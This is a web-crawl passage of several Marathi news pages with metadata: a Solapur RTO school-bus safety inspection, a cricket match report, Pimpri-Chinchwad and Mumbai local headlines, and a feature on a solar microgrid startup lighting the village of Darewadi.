नियामक कामकाज कार्यालय चालवितात\nभारतीय मातीतली बहुराष्ट्रीय संस्था उभारण्याची डॉ. स्मिता नरम यांची महत्वाकांक्षा\n\"यश प्राप्तीसाठी कष्टाबरोबरच हुशारी बाळगणे गरजेचे\" : मणी अब्रोल, वरिष्ठ संचालक, याहू\nकिरकोळ व्यापार क्षेत्रात दुकानांमध्ये काम करण्याचा अनुभव महत्वाचा - अमिषा प्रभू , सीईओ 'TRRAIN'\nछोट्याशा गावाचा, 'क्लिअर कार रेन्टल'चा देशव्यापी प्रवास.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00161.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/paschim-maharashtra/solapur-news-school-bus-student-transport-rto-52057", "date_download": "2018-09-25T17:33:54Z", "digest": "sha1:4HBSBTUK4IGBNZNHU3R2GYWHTT2UBL2H", "length": 15714, "nlines": 174, "source_domain": "www.esakal.com", "title": "solapur news school bus student transport rto स्कूल बस, रिक्षा विद्यार्थी वाहतुकीसाठी सज्ज | eSakal", "raw_content": "\nस्कूल बस, रिक्षा विद्यार्थी वाहतुकीसाठी सज्ज\nसोमवार, 12 जून 2017\nसोलापूर - येत्या शैक्षणिक वर्षात १५ जूनपासून शाळा सुरू होणार आहेत. पालक, विद्यार्थी व शिक्षकांनी याची तयारी सुरू केली आहे. तशीच तयारी उपप्रादेशिक परिवहन (आरटीओ) कार्यालयानेही केली आहे. विद्यार्थ्यांच्या सुरक्षिततेसाठी स्कूल बस व विद्यार्थी वाहतूक करणाऱ्या रिक्षांची तपासणी केली आहे. त्यानंतर त्यांना नाहरकत प्रमाणपत्र दिले जात आहे. प्रमाणपत्र नसणाऱ्यांना विद्यार्थी वाहतूक करता येणार नसून कारवाई केली जाणार आहे.\nसोलापूर - येत्या शैक्षणिक वर्षात १५ जूनपासून शाळा सुरू होणार आहेत. पालक, विद्यार्थी व शिक्षकांनी याची तयारी सुरू केली आहे. तशीच तयारी उपप्रादेशिक परिवहन (आरटीओ) कार्यालयानेही केली आहे. विद्यार्थ्यांच्या सुरक्षिततेसाठी स्कूल बस व विद्यार्थी वाहतूक करणाऱ्या रिक्षांची तपासणी केली आहे. त्यानंतर त्यांना नाहरकत प्रमाणपत्र दिले जात आहे. प्रमाणपत्र नसणाऱ्यांना विद्यार्थी वाहतूक करता येणार नसून कारवाई केली जाणार आहे.\nशाळा सुरू होण्याच्या पार्श्‍वभूमीवर शाळांनीही स्कूल बसची आरटीओकडून तपासणी करून घेतली आहे. ज्यामध्ये त्रुटी असतील त्या दूर करून शाळा सुरू होण्याआधी वाहने तयार करण्याची धावपळ सध्या सुरू आहे. स्कूल बसचालक निर्व्यसनी, चांगल्या चारित्र्याचा असल्याची खात्री केली जात आहे. आरटीओच्या नियमावलीनुसार स्कूल बसचा रंग, कंत्राटाशिवाय अन्य कोणतेही कंत्राट असल्यास त्याचा रंग, पायऱ्यांची उंची, बसच्या दोन्ही बाजूला बहिर्वक्र भिंगाचे आरसे, आत मोठा पॅराबॉलिक आरसा, प्रवेश दरवाजाच्या पायऱ्यांसोबत आधारासाठी दांडा, गॅंगवेकडील हॅंडल किंवा आसनाच्या रचनेत हॅंडल्स आहेत का, स्टेपवेल लगतच्या आसनाजवळ स्टॅंचियन पोल, आडवे-उभे दांडे अथवा जाळी वापरून चालक कक्ष प्रवासी कक्षापासून वेगळा केला आहे का, प्रथमोपचार पेटी, अग्निशमन उपकरणे, दप्तरे ठेवण्यासाठी रॅक, धोक्‍याचा इशारा देणारी प्रकाशयोजना, दोन दांड्यांमधील अंतर, वेग नियंत्रक बसविला व सील केला आहे का, बसच्या मागे व पुढे शालेय मुलाचे चित्र असलेले स्टिकर/फलक व ‘स्कूल बस’ असे लिहिले का, लॉक यंत्रणा आहे का, आपत्कालीन दरवाजा आदी सर्व बाबींची पूर्तता केली जात आहे.\nपालकांनीही जास्त विद्यार्थी वाहतूक करणाऱ्या रिक्षात आपल्या पाल्याला बसवू नये. रिक्षाचालकाची पूर्ण माहिती घ्यावी, असे आवाहन करण्यात आले.\nजिल्ह्यातील ६५३ रजिस्टर्ड स्कूल बसपैकी ४०० वाहनांची तपासणी केली आहे. नियमावलीनुसार न धावणाऱ्या वाहनांवर १९ जूनपासून आरटीओ व पोलिसांकडून कारवाई केली जाईल. पालकांनीही क्षमतेपेक्षा जास्त विद्यार्थी बसवले जात नाहीत ना याकडे लक्ष द्यावे.\n- बजरंग खरमाटे, उपप्रादेशिक परिवहन अधिकारी\nआमच्या शाळेच्या एका स्कूल बसची व दोन व्हॅनची आरटीओकडून तपासणी करून घेतली. बसचालक निर्व्यसनी व चांगल्या चारित्र्याचा असल्याची खात्री करून घेतली असून, विद्यार्थिनींच्या बसमध्ये खास महिला कंडक्‍टरची नियुक्ती केली आहे.\n- उमा कोटा, प्राचार्या, कुचन प्रशाला व ज्युनिअर कॉलेज\nआरटीओच्या नियमावलीनुसार व्हॅन विद्यार्थी वाहतुकीसाठी तयार असून, नियमांचे काटेकोर पालन करणार आहे. सुरक्षेच्या दृष्टीने प्रथमोपचार पेटी, अग्निशमन कीट, चालक व विद्यार्थ्यांत सुरक्षित जाळी, वेगमर्यादा, अलार्म आदी यंत्रणांनी वाहन सज्ज आहे.\n- मोहन मामड्याल, स्कूल व्हॅनचालक\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nडिजे वाजविल्याप्रकरणी भोकरमध्ये 20 जणांवर गुन्हे\nनांदेड : गणरायाला निरोप देणाऱ्या अतिउत्साही गणेशमंडळांवर डीजे वाजविल्याप्रकरणी भोकर ठाण्यात गुन्हे दाखल करण्यात आले. तेलंगणातील डीजे चालक व...\nकल्याणकारी मंडळासाठी आर्थिक तरतूद करा - वृत्तपत्र विक्रेता संघटना\nकोल्हापूर - असंघटीत कामगार वृत्तपत्र विक्रेता कल्याणकारी मंडळासाठी राज्य सरकारने भरीव तरतूद करावी. यासह अन्य अन्य मागण्यांसाठी महाराष्ट्र राज्य...\nहेरले येथे चोरट्यांनी दूचाकीसह दहा तोळे सोने व रोकड पळवली\nहेरले - हेरले ( ता. हातकणंगले) येथील बबन भाऊ कदम यांच्या घरात सोमवारी मध्यरात्री चोरी झाली. चोरट्यांनी दोन दूचाकीसह दहा तोळे सोने व रोकड पंधरा हजार...\nकोल्हापूर येथे अपघातामध्ये वडणगेची महिला ठार\nकोल्हापूर - येथील सीपीआर चौकात आज दुचाकी व एस टी अपघात झाला. यात वडणगे येथील महिला ठार झाली. फुलाबाई बाबासाहेब अस्वले (55 वडणगे) असे...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00162.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mahasports.co.in/the-best-knock-of-his-career-bhuvi-takes-over-finishing-duties-from-dhoni-to-give-india-a-2-0-series-lead/", "date_download": "2018-09-25T17:09:15Z", "digest": "sha1:KWR42NGQOY3V56OPDB4GGBMN3VUTGI55", "length": 8151, "nlines": 60, "source_domain": "mahasports.co.in", "title": "रोमहर्षक सामन्यात भारताचा विजय -", "raw_content": "\nरोमहर्षक सामन्यात भारताचा विजय\nरोमहर्षक सामन्यात भारताचा विजय\nपल्लेकेल: आज भारत विरुद्ध श्रीलंका यांच्यातील दुसऱ्या वनडे सामन्यात भारताने लंकेवर ३ विकेट्सने विजय मिळवला. यष्टीरक्षक एमएस धोनीच्या जबाबदार खेळीमुळे अतिशय अतीतटीच्या या सामन्यात भारतीय संघाने विजय अक्षरशः खेचून आणला.\n१०९ धावांवर १ अशा सुस्थितीत असणाऱ्या भारतीय संघाला अकिला धनंजयाने आपल्या फिरकी गोलंदाजीवर अक्षरशः नाचवले. यातून एकवेळ भारताची अवस्था ७ बाद १३७ अशी झाली होती. रोहित शर्मा(५४) आणि शिखर धवन(४९) हे दोघे सोडून कोणताही खेळाडू मोती धावसंख्या उभारू शकला नाही. विराट कोहली(४) केदार जाधव(१) केएल राहुल(४), हार्दिक पंड्या (०) आणि अक्सर पटेल(६) हे फलंदाज एकेरी धावसंख्या करून तंबूत परतले.\nत्यानंतर आलेल्या एमएस धोनीने भुवनेश्वर कुमारला हाताला धरून एकेरी दुहेरी धावांवर भर दिला. धोनीने अतिशय जबाबदार खेळी करत ६८ चेंडूत ४५ धावा केल्या. त्यात त्याने केवळ १ चौकार मारला. त्याला तेवढीच उत्तम साथ भुवनेश्वर कुमारने दिली. त्याने ८० चेंडूत ४ चौकार आणि १ षटकाराच्या मदतीने ५३ धावा केल्या.\nतत्पूर्वी श्रीलंका विरुद्ध भारत दुसऱ्या एकदिवसीय सामन्यात श्रीलंकेने ५० षटकांत ८ बाद २३६ धावा केल्या आहेत. परंतु इंनिंग ब्रेकनंतर पल्लेकेल येथे पाऊसाने हजेरी लावली. जर हा सामना डकवर्थ लुईस नियमाप्रमाणे भारतापुढे ४७ षटकांत २३१ धावांचे लक्ष ठेवण्यात आले होते. भारताला हे लक्ष पार करण्यासाठी ४४.२ षटके लागली.\nभारतीय संघाने आज नाणेफेक जिंकून प्रथम फलंदाजीचा निर्णय घेतला. हा निर्णय योग्य ठरवत जसप्रीत बुमराहने ४, युझवेन्द्र चहलने २ तर अक्सर पटेल, केदार जादव आणि हार्दिक पंड्या यांनी प्रत्येकी एक विकेट घेतली. श्रीलंकेकडून मिलिंदा सिरीवर्दनाने सर्वोच्च ५८ तर चमारा कपुगेदराने ४० धावा केल्या.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00163.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%AD%E0%A5%8B%E0%A4%B8%E0%A4%B0%E0%A5%80%E0%A4%A4%E0%A5%80%E0%A4%B2-%E0%A4%95%E0%A4%AC%E0%A4%A1%E0%A5%8D%E0%A4%A1%E0%A5%80%E0%A4%AA%E0%A4%9F%E0%A5%8D%E0%A4%9F%E0%A5%82-%E0%A4%AA%E0%A5%82%E0%A4%9C/", "date_download": "2018-09-25T17:58:22Z", "digest": "sha1:WLG4QKT42ZLWIVIRDBILLXVCWFGKGVMP", "length": 4801, "nlines": 68, "source_domain": "pclive7.com", "title": "भोसरीतील कबड्डीपटू पूजा शेलार हिला ‘शिवछत्रपती राज्य क्रीडा पुरस्कार’ (पहा व्हिडीओ) | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड भोसरीतील कबड्डीपटू पूजा शेलार हिला ‘शिवछत्रपती राज्य क्रीडा पुरस्कार’ (पहा व्हिडीओ)\nभोसरीतील कबड्डीपटू पूजा शेलार हिला ‘शिवछत्रपती राज्य क्रीडा पुरस्कार’ (पहा व्हिडीओ)\nTags: PCLIVE7.COMPCMCPcmc newsक्रीडाचिंचवडपिंपरीपुरस्कारपूजा शेलारभोसरीराज्यशिवछत्रपती\nपिंपरी चिंचवडकरांना प्राधिकरणाकडून १० हजार घरांची भेट (व्हिडीओ)\nमन प्रसन्न करणारे फुलांचे प्रदर्शन (पहा व्हिडीओ)\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00164.warc.wet.gz", "language": "mr", "language_score": 0.84, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/mumbai/page/28", "date_download": "2018-09-25T17:43:50Z", "digest": "sha1:TWZT5EKCUGL52Q5ZNP5R3FSF2TKC2YMM", "length": 9623, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "मुंबई Archives - Page 28 of 251 - तरुण भारत | तरुण भारत", "raw_content": "\nअंधेरी दुर्घटनेनंतर मध्य रेल्वेही सतर्क\nप्रतिनिधी मुंबई अंधेरी पुलाच्या दुर्घटनेनंतर पश्चिम रेल्वेसोबत मध्य रेल्वेही सतर्क झाली आहे. रेल्वे मार्गावर असणाऱया धोकादायक पुलांची पाहणीला सुरुवात झाली असून मध्य रेल्वेने आपल्या हद्दीतील पादचारी आणि उड्डाण पुलासह पाईपलाइन, वीजवाहिन्यांची तपासणी सुरू केली आहे. अंधेरी दुर्घटनेनंतर मध्य रेल्वेवर लागलीच धोकादायक अशी बांधकामे हटविण्यास प्रारंभ केला आहे. यामध्ये घाटकोपर येथील उड्डाण पुलाचा पादचारी मार्गही बंद करण्यात आला असून गेल्याच ...Full Article\nकल्याण-मलंग रोडचा वर्षभरात चौथा बळी\nप्रतिनिधी कल्याण कल्याण-मलंग रोडवरील द्वारली गावाजवळील तबेल्यात काम करणारी अण्णा नावाची व्यक्ती बुधवारी रस्त्यावरील खड्डय़ात पाय घसरून पडली. यावेळी जाणाऱया ट्रक खाली आल्याने त्यांचा जागीच मफत्यू झाल्याची घटना सकाळी ...Full Article\nदादर रेल्वे स्थानकाबाहेर फुलविक्री करण्यास मनाई\nप्रतिनिधी मुंबई दादर रेल्वे स्थानक परिसरात फुलविक्री करण्याच्या परवानगीसाठी न्यायालयाची पायरी चढलेल्या फेरीवाल्यांना दिलासा देण्यास नकार देत फुलविक्री करण्याची मागणी मुंबई उच्च न्यायालयाने फेटाळून लावली. दादर पश्चिम येथील रेल्वे ...Full Article\nमहिला मोटारसायकल प्रशिक्षक चेतना पंडित याची आत्महत्या\nऑनलाईन टीम / मुंबई : महिला मोटारसायकल प्रशिक्षक चेतना पंडित यांनी सोमवारी रात्री आत्महत्या केली आहे. प्रियकराशी ब्रेक अप झाल्याच्या नैराश्यातून त्यांनी हे टोकाचे पाऊल उचलले, असे सूत्रांनी सांगितले आहे. चेतना पंडित या एनफिल्ड रायडर ...Full Article\nविधानसभेत नितेश राणे आक्रमक, राजदंड पळविण्याचा प्रयत्न\nऑनलाईन टीम / नागपूर : नाणार प्रकल्पावरून आज विधानसभेत पुन्हा गोंधळ सुरू झाला आहे. नाणार प्रकल्पाला विरोध करत आमदार नितेश राणे आणि आमदार प्रताप सरनाईक आक्रमक झाल्याचे पाहायला मिळाले. ...Full Article\n24 तासानंतरही पश्चिम रेल्वेची वाहतूक विस्कळीत\nऑनलाईन टीम / पालघर : चोवीस तासांपेक्षा जास्त काळ ठप्प असलेली विरार ते भाईंदर लोकल सेवा बुधवारी दुपारनंतर संथगतीने सुरु झाली. पाणी ओसरल्यानंतरच वाहतूक पूर्ववत होईल, असे पश्चिम रेल्वे ...Full Article\nअविनाश जोशी यांना गिरिमित्र जीवनगौरव सन्मान\nप्रतिनिधी मुंबई यंदाचा गिरिमित्र जीवनगौरव सन्मान नाशिकचे ज्येष्ठ गिर्यारोहक अविनाश जोशी यांना देण्यात येणार आहे. अभिजीत बर्मन उर्फ बाँग, मिलिंद पोटे यांना गिरिमित्र गिर्यारोहक सन्मान, तर विलास जोशी, निरंजन ...Full Article\nपेणजवळ एसटीचा अपघात ; 15 जण जखमी\nप्रतिनिधी मुंबई एसटी बसच्या अपघातांची मालिका सुरुच असून पेणजवळील वरवणे येथे समोरुन येणाऱया वाहनाला वाचवण्याचा प्रयत्नात चालकाचे बसवरील नियंत्रण सुटून बसचा अपघात झाला. या अपघातात 15 प्रवासी जखमी झाले ...Full Article\nपावसामुळे पुन्हा लेटमार्क; लांब पल्ल्यांच्या गाडय़ा रद्द\nप्रतिनिधी मुंबई गेल्या तीन दिवसांपासून मुंबईसह उपनगरांमध्ये मुसळधार कोसळणाऱया पावसाने मंगळवारी पुन्हा ओव्हरटाइम केला होता. काही भागात रेल्वे रुळ पाण्याखाली गेल्यामुळे मुंबईकरांची लाइफलाइन असणारी लोकल मंदावल्यामुळे सलग चौथ्या दिवशीही ...Full Article\nरुळाला फडके बांधून लोकल केली रवाना\nप्रतिनिधी मुंबई हार्बर मार्गावरील वाशीच्या दिशेने जाणारी वाहतूक मंगळवारी सायंकाळी विस्कळीत झाली होती. गोवंडी ते मानखुर्ददरम्यान रुळाला तडे गेल्याने डाऊन दिशेची वाहतूक ठप्प होती. परंतु रेल्वे कर्मचाऱयांनी चक्क तडा ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00165.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/1ea6764579/startup-village-remote-villages-ujalavanare-unique-energy-solutions", "date_download": "2018-09-25T17:56:32Z", "digest": "sha1:AVWRGCI2S4JSDK4FQE2QXAVRCPTBF2PO", "length": 29223, "nlines": 76, "source_domain": "marathi.yourstory.com", "title": "दुर्गम खेडी उजळवणारे अनोखे स्टार्टअप ग्राम उर्जा सोल्यूशन्स", "raw_content": "\nदुर्गम खेडी उजळवणारे अनोखे स्टार्टअप ग्राम उर्जा सोल्यूशन्स\n१५ फेब्रुवारी २०१५. दिवस महत्त्वाचा होता. दरेवाडी या गावाच्या दिशेने अनेक तरुणांच्या गाड्या धावत होत्या. काही जण पायीच दरेवाडीत पोहोचण्याच्या तयारीत होते. कारण काय, दरेवाडीचा उरूस होता, कोणी फिल्म स्टार येणार होता का, कोणी फिल्म स्टार येणार होता का का कोणी आमदार-खासदार येणार होता दरेवाडीत का कोणी आमदार-खासदार येणार होता दरेवाडीत तसं काहीच नव्हतं. तरुणांच्या या गर्दीमागे कारण तसंच होतं. आयसीसी विश्वचषक क्रिकेट स्पर्धेतील भारतविरुद्ध पाकिस्तान सामना. दरेवाडीच्या आजुबाजूच्या १५ वाड्या वस्त्या आणि गावांमध्ये महावितरणची (महाराष्ट्र राज्य वीज वितरण कंपनी) वीज पोहोचली आहे. स्वातंत्र्यानंतर ६८ वर्षांनीही दरेवाडीत सरकारी वीज पोहोचलेली नाही. तरीही तरुणांचे पाय या गावाकडे वळत होते, कारण दरेवाडीत ग्राम उर्जा सोल्यूशन्स कंपनीने उभारलेल्या सोलर ग्रीडमुळे आता सौर उर्जेवर सगळी उपकरणे चालतात आणि वीज पुरवठा खंडितच होत नाही. आपल्या गावातील सरकारी वीज पुरवठा कधी बंद होईल याचा काहीच भरवसा नाही, त्यामुळे केवळ दरेवाडीतच निर्विघ्नपणे क्रिकेट सामन्याचा आनंद लुटता येईल, असा विश्वास या तरुणांना होता.\nस्वातंत्र्यानंतर प्रगतीची अनेक एव्हरेस्ट शिखरे सर केलेल्या भारताच्या ग्रामीण भागांत अजूनही अशी अनेक खेडी, वाड्या-वस्त्या आहेत, जिथे सरकारी इलेक्टिक ग्रीड पोहोचलेले नाही. विविध तंत्रज्ञानामुळे जगाशी जोडल्या गेलेल्या शहरी भारतीयंपेक्षा या गावांत राहणारे भारतीय वेगळेच म्हणायला हवेत. कारण मोठी शहरे जवळ असूनही यांच्या घरांत अजूनही वीज न पोहोचल्यामुळे रॉकेलच्या दिव्यांच्या प्रकाशात स्वयंपाक केला जातो. काही किलोमीटरवरून पाणी आणावे लागते. शेतीपंपालाही वीज नसल्याने शेतीचं मोठं नुकसान होतंय. अशापैकीच एक पुणे जिल्ह्यातील जुन्नर तालुक्यात असणारं दरेवाडी.\nदुर्गम असलेल्या या गावाचं ४ जुलै २०१२ला नशीबच पालटलं. ५०-६० वर्षे रॉकेलचे दिवे, सरकारी सौर दिवे यांच्यामुळे दिवसातील काही काळ प्रकाशमान होणाऱ्या दरेवाडीला सौर उर्जा प्रकल्पातून तयार झालेल्या वीजने उजळून टाकलं. आपली उभी हयात अंधारात घालवलेल्या ज्येष्ठांना आनंद झाला की पुढच्या पिढीला तरी प्रकाश दिसणार आणि त्यांचे भविष्यही उजळणार.\nकोणत्याही सरकारी मदतीशिवाय, गावकऱ्यांच्या एकमताने, उच्च तंत्रज्ञानाची साथ घेऊन हा प्रकल्प उत्तमरित्या यशस्वी करून दाखवणाऱ्या ग्राम उर्जा सोल्यूशन्स प्रा. लि. या सौर उर्जा क्षेत्रातील अनोख्या स्टार्टअपची वाटचालही रोचक आहे.\nअंशुमन लाट, समीर नायर, प्रसाद कुलकर्णी या तीन उच्चविद्याविभूषित तरुणांचे करिअर उत्तम धावत होतं. आंतरराष्ट्रीय कंपन्यांमध्ये मोठ्या पदांवर काम करत असूनही सामाजिक जाणीव त्यांना स्वस्थ बसू देत नव्हती. केवळ मी आणि माझं कुटुंब सुखात राहून भागणार नाही, समाजही सुखी झाला पाहिजे ही तळमळ तिघांच्याही मनात होती. यातूनच चर्चा झाल्या आणि नवा मार्ग चोखाळण्याचा निर्णय झाला. ठिकाण होतं पुणे विद्यापीठातलं ओपन कँटीन आणि काळ होता ऑगस्ट २००७चा. पारंपारिक उर्जास्रोतांच्या दिवसेंदिवस होत असलेल्या ऱ्हासावर पर्याय असलेल्या अपारंपरिक उर्जा स्रोतांशी संबंधित ग्रामीण भागाला उपयुक्त ठरेल असं काम करण्याचा विचार पक्का झाला. त्यानंतर २४ एप्रिल २००८ ला सुरू झाली ग्राम उर्जा सोल्यूशन्स प्रा. लि. कंपनी.\nकंपनीच्या सुरुवातीच्या प्रक्रियेबाबत संस्थापक सदस्य प्रसाद कुलकर्णी म्हणाले, ‘सौर उर्जा, बायो गॅस, जल व्यवस्थापन अशा ग्रामीण भागांत थेट उपयोगी पडणाऱ्या प्रकल्पांना पहिल्यांदा आम्ही भेटी दिल्या आणि त्यांचा अभ्यास केला. पुदुच्चेरीच्या स्वामी अरविंद आश्रमातील सौर उर्जेवरील प्रकल्प, मराठवाड्यातील काही जल व्यवस्थापनाचे प्रकल्प, बायोगॅसचे काही प्रकल्प कसे उभारले, त्याला लागणारे तंत्रज्ञान, अर्थ सहाय्य याचा आम्ही २०११पर्यंत सखोल अभ्यास केला. तंत्रज्ञानातील एक्स्पर्टसोबत काम करून अनुभवही घेतला.ʼ\n‘हा अभ्यास सुरू असतानाच २०११ मध्ये आम्हाला पहिली संधी मिळाली. उत्तर प्रदेशातील सीतापूर जिल्ह्यात सोनारी या खेडेगावांत ‘रूरल शोअरʼ हे बीपीओ सुरू होतं. ४० कम्प्यूटरवर खेड्यातील तरुण-तरुणी डेटा एंट्रीचे काम करत होते. हे बीपीओ पूर्ण डिझेल जनरेटरवर सुरू होतं. बीपीओला लागणारी वीज आम्ही सौर उर्जेच्या माध्यमातून तयार करून दिली तर त्यासाठी मासिक भाडे देण्याची तयारी त्यांनी दाखवली. आमच्या अनुभवाच्या जोरावर आम्ही ८ किलो वॅट पीक वीज निर्माण करणारी सोलर सिस्टीम डिझाइन केली. या पहिल्या प्रकल्पासाठीची १५ लाख रुपयांची गुंतवणूक कंपनीनेच केली. आमची पहिली सिस्टीम यशस्वी झाली आणि आम्ही निर्माण केलेल्या विजेवर ४० कम्प्यूटर आठ तास काम करू लागले. सौर उर्जा तयार करून ती विकण्याच्या आमच्या पहिल्या कल्पनेला मिळालेल्या यशाने आमचा आत्मविश्वास वाढला,ʼ असंही कुलकर्णी यांनी सांगितले.\nमहाराष्ट्र, मध्य प्रदेश, राजस्थान, उत्तर प्रदेश, झारखंड या राज्यांत कंपनीचे सर्वेक्षण सतत सुरू होते. दुर्गम भागांतील गावांत सरकारी योजनांतून घरगुती वापराचे सौर दिवे, रस्त्यावरचे सौर दिवे पोहोचले आहेत; पण त्यापैकी ८० टक्के दिवे बंद पडल्यावर दुरुस्त केले जात नाहीत आणि पुन्हा ती गावं अंधारात बुडतात असे ग्राम उर्जाच्या संशोधकांना लक्षात आलं. या गावांना केवळ घरातील दिव्यांसाठीच नव्हे तर शेतीचा पंप, पाणी योजना, गिरणी, टीव्ही अशा अनेक गोष्टींसाठी विजेची आवश्यकता आहे, असेही निदर्शनास आले. ज्या खेड्यांमध्ये सरकारी वीजेचे ग्रीड पोहोचलेले नाही किंवा पुढच्या दहा वर्षांत पोहोचण्याची शक्यता नाही अशा गावांसाठी सौर उर्जा प्रकल्पांतून वीज पुरवठा केल्यास उपयुक्त ठरेल असे या संशोधनानंतर कंपनीने निश्चित केले. प्रत्येक राज्यातील अशी खेडीही कंपनीने शोधून ठेवली होती.\nकंपनीच्या दुसऱ्या प्रकल्पाबाबत संचालक अंशुमन लाट म्हणाले, ‘पहिला प्रकल्प यशस्वी झाल्यानंतर आमचे संशोधन सुरू होते. त्याचदरम्यान मुंबईत सौर उर्जेशी संबंधित एका प्रदर्शनात जर्मनीच्या बॉश कंपनीच्या अधिकाऱ्यांशी संपर्क झाला. बॉश कंपनीचा रिसर्च अँड डेव्हलपमेंट विभाग संपूर्ण गुंतवणुकीसह सौर उर्जा 